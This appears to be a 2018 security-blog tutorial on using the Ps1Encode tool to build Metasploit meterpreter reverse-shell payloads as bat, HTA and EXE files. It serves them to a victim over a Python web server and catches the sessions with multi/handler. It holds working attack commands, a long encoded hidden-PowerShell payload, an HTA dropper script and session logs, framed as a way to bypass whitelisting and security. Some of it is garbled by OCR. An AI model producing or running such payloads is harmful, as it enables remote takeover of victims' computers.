Generate Metasploit Payload with Ps1encode

August 15, 2018 By Raj Chandel

In this article, we will learn the Ps1Encode tool and how to use it by generating malware in different file formats such as HTA, EXE, etc.

Introduction

The working code of Ps1Encode is developed by Piotr Marszalik, Dev Kennedy with few others. Ps1Encode is used to generate a malicious payload in order to generate a meterpreter session. While generating the payload, it will encode it too. It is a different way to bypass Whitelisting and security on the target system. It's developed in ruby and allows us to create a series of payloads which are based on Metasploit but can be prepared in any format we desire. The final aim is to get a PowerShell running and execute our payload through it.

There are various formats for our malware that are supported by Ps1Encode are the following:

- raw (encoded payload only no powershell run options)
- cmd (for use with bat files)
- vba (for use with macro trojan docs)
- vbs (for use with vbs scripts)
- war (tomcat)
- exe (executable) requires MinGW x86 64-w64-mingw32-gcc [apt-get install mingw-w64]
- java (for use with malicious java applets)
- js (javascript)
- js-rd32 (javascript called by rundll32.exe)
- php (for use with php pages)
- hta (HTML applications)
- cfm (for use with Adobe ColdFusion)
- aspx (for use with Microsoft ASP.NET)
- lnk (windows shortcut requires a webserver to stage the payload)
- sct (COM scriptlet requires a webserver to stage the payload)

You can download Ps1Encode from here using git clone command as shown in the image below:

```
root@kali:~# git clone https://github.com/CroweCybersecurity/pslencode
Cloning into 'pslencode'...
remote: Enumerating objects: 116, done.
remote: Total 116 (delta 0), reused 0 (delta 0), pack-reused 116
Receiving objects: 100% (116/116), 37.41 KiB | 139.00 KiB/s, done.
Resolving deltas: 100% (39/39), done.
```

Once it's downloaded, let's use the help command to check the syntax that we have to use. Use the following set of commands for that:

```
cd ps1encode/
ls
./ps1encode.rb -h
```

Following are the syntaxes that we can use:

-i: defines localhost IP

-p: defines localhost port value

-a: defines payload value

-t: defines the output format

Now, we will generate a malicious raw file using the following command:

```
./pslencode.rb -I 192.168.1.107 -p 8000 -a windows/meterpreter/reverse_https
```

```
root@kali:~/pslencode# ./pslencode.rb -i 192.168.1.107 -p 8000 -a windows/meterpreter/reverse_https
No encoder or badchars specified, outputting raw payload
Payload size: 381 bytes
```

powershell -nop -win Hidden -noni -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0AC NIGBrAGUACGBUAGUAbAAZADIALGBKAGWAbAAIACKAXQBWAHUAYGBSAGKAYWAGAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AI 4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACA DAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBp AqAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAi .XQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQA GUAYQBKACGASQBUAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAg AHQAYQBjAGSAUwBpAHoAZQASACAASQBuAHQAUAB0AHIAIABSAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBZAHMALAAgAEkAbgB ABYACAAbABwAFAAYQBYAGEAbQBlAHQAZQBYACwAIAB1AGKAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAg AbgB0AFAAdABYACAAbABwAFQAaABYAGUAYQBKAEKAZAAPADsAWwBEAGwAbABJAG0AcABVAHIAdAAoACIAbQBZAHYAYwBYAHQALg GwAbAAiACKAXQBwAHUAYgBsAGKAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQBYAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMA 0ACGASQBUAHQAUAB0AHIAIABKAGUAcwB0ACwAIAB1AGKAbgB0ACAAcwBYAGMALAAGAHUAaQBUAHQAIABjAG8AdQBUAHQAKQA7AC A7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGMAIA BtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4A OACABhAHMACwBOAGgACgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAcwBjACAAPQAgADAAeAl AZQA4ACwAMAB4ADgAMgAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADAALAAwAHgAOAA5AC ASADAAEAAZADEALAAWAHQAYWAWACWAMAB4ADYANAASADAAEAA4AGIALAAWAHQANQAWACWAMAB4ADMAMAASADAAEAA4AGIAI ANQAYACWAMAB4ADAAYWASADAAEAA4AGIALAAWAHgANQAYACWAMAB4ADEANAASADAAEAA4AGIALAAWAHgANWAYACWAMAB4AD DAAEAAWAGYALAAWAHgAYgA3ACWAMAB4ADQAYQASADAAEAAYADYALAAWAHgAMWAXACWAMAB4AGYAZgASADAAEABhAGMALAAW JACWAMAB4ADYAMQASADAAEAA3AGMALAAWAHgAMAAYACWAMAB4ADIAYWASADAAEAAYADAALAAWAHgAYWAXACWAMAB4AGMAZg AAWAGQALAAWAHgAMAAXACWAMAB4AGMANWASADAAEABlADIALAAWAHgAZgAYACWAMAB4ADUAMgASADAAEAA1ADCALAAWAHgA AB4ADUAMGASADAAEAAXADAALAAWAHGAOABIACWAMAB4ADQAYQASADAAEAAZAGMALAAWAHGAOABIACWAMAB4ADQAYWASAD . ANWA4ACWAMAB4AGUAMWASADAAeAA0ADqALAAWAHqAMAAXACWAMAB4AGQAMQASADAAeAA1ADEALAAWAHqA0ABiAC ADUAOQASADAAEAAYADAALAAWAHgAMAAXACWAMAB4AGQAMWASADAAEAA4AGIALAAWAHgANAA5ACWAMAB4ADEAOAASADAAEAB\ADI

Copy the code generated using the above command in the file with the extension.bat. and then share it by using the python server. You can start the server using the following command:

```
python -m SimpleHTTPServer 80
```

```
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Simultaneously, start the multi handler to have a session with the following set of commands:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
lport 8000
exploit
```

```
sf5 > use exploit/multi/handler
 <u>sf5</u> exploit(multi/handler) > set payload windows/meterpreter/reverse https
 ayload => windows/meterpreter/reverse_https
 sf5 exploit(multi/handler) > set lhost 192.168.1.107
.host => 192.168.1.107
<u>nsf5</u> exploit(multi/handler) > set lport 8000
port => 8000
<u>nsf5</u> exploit(multi/handler) > exploit
[*] Started HTTPS reverse handler on https://192.168.1.107:8000
*] https://192.168.1.107:8000 handling request from 192.168.1.104; (UUID: 6mr2h27m) Stag
[*] Meterpreter session 1 opened (192.168.1.107:8000 -> 192.168.1.104:50271) at 2019-02-2
<u>meterpreter</u> > sysinfo
Computer
                : DESKTOP-2KSCK6B
                  Windows 10 (Build 10586).
Architecture
ystem Language : en US
                   WORKGROUP
omain
Logged On Users : 2
                 : x86/windows
Meterpreter
<u>eterpreter</u>
```

Once the file is executed in the victims' PC, you will have your session as shown in the image above. Now we will generate our malware in the form of HTA file. Use the following command to generate the HTA file:

./pslencode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverese tcp -t hta

```
root@kali:-/pslencode# ./pslencode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse_tcp -t hta
No encoder or badchars specified, outputting raw payload
Payload size: 283 bytes

<hread>
<html>
<html

<html>
<html>
<html

<ht
```

Following script will be created due to the above command, send this file to the victim's PC using python server like before.

```
chtml>
<head>
<script language="VBScript">
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run "powershell -nop -win Hidden -noni -enc JAAXACAAPQAgACcAJABjACAAPQAg
</script>
</head>
<body>
<!-- info -->
</body>
</html>
```

Simultaneously, start the multi handler to have a session with the following set of commands:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
```

```
msf5 > use exploit/multi/handler
<u>msf5</u> exploit(multi/handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse_tcp
<u>msf5</u> exploit(multi/handler) > set lhost 192.168.1.107
lhost => 192.168.1.107
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.107:4444
[*] Sending stage (179779 bytes) to 192.168.1.104
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.104:50332) at 2019-02-
<u>meterpreter</u> > sysinfo
Computer
                 : DESKTOP-2KSCK6B
0S
                  : Windows 10 (Build 10586).
Architecture
                : x64
System Language : en US
Domain
                 : WORKGROUP
Logged On Users : 2
 leterpreter
                : x86/windows
<u>eterpreter</u> >
```

Once the file is executed in the victims' PC, you will have your session as shown in the image above. Now we will try and generate an EXE file with the following:

```
./ps1encode -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse tcp -t exe
```

```
root@kali:~/pslencode# ./pslencode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverse_tcp -t exe
No encoder or badchars specified, outputting raw payload
Payload size: 283 bytes

compiling...
final_.exe created!
root@kali:~/pslencode# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Send this file to the victim's PC using python server like before a shown in the image above. Simultaneously, start the multi handler to have a session with the following set of commands:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
```

```
msf5 > use exploit/multi/handler
<u>msf5</u> exploit(multi/handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.107
lhost => 192.168.1.107
<u>msf5</u> exploit(multi/handler) > set lport 4444
lport => 4444
<u>msf5</u> exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.107:4444
[*] Sending stage (179779 bytes) to 192.168.1.104
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.104:50388) at 26
<u>meterpreter</u> > sysinfo
Computer
                 : DESKTOP-2KSCK6B
0S
                 : Windows 10 (Build 10586).
Architecture
                 : x64
ystem Language : en US
Domain
                 : WORKGROUP
Logged On Users : 2
Meterpreter
                 : x86/windows
<u>meterpreter</u> >
```

This way, you can use Ps1Encode to generate files in any format. As you can see, it's pretty simple and convenient along with being user-friendly. Possibilities with Ps1Encode are endless.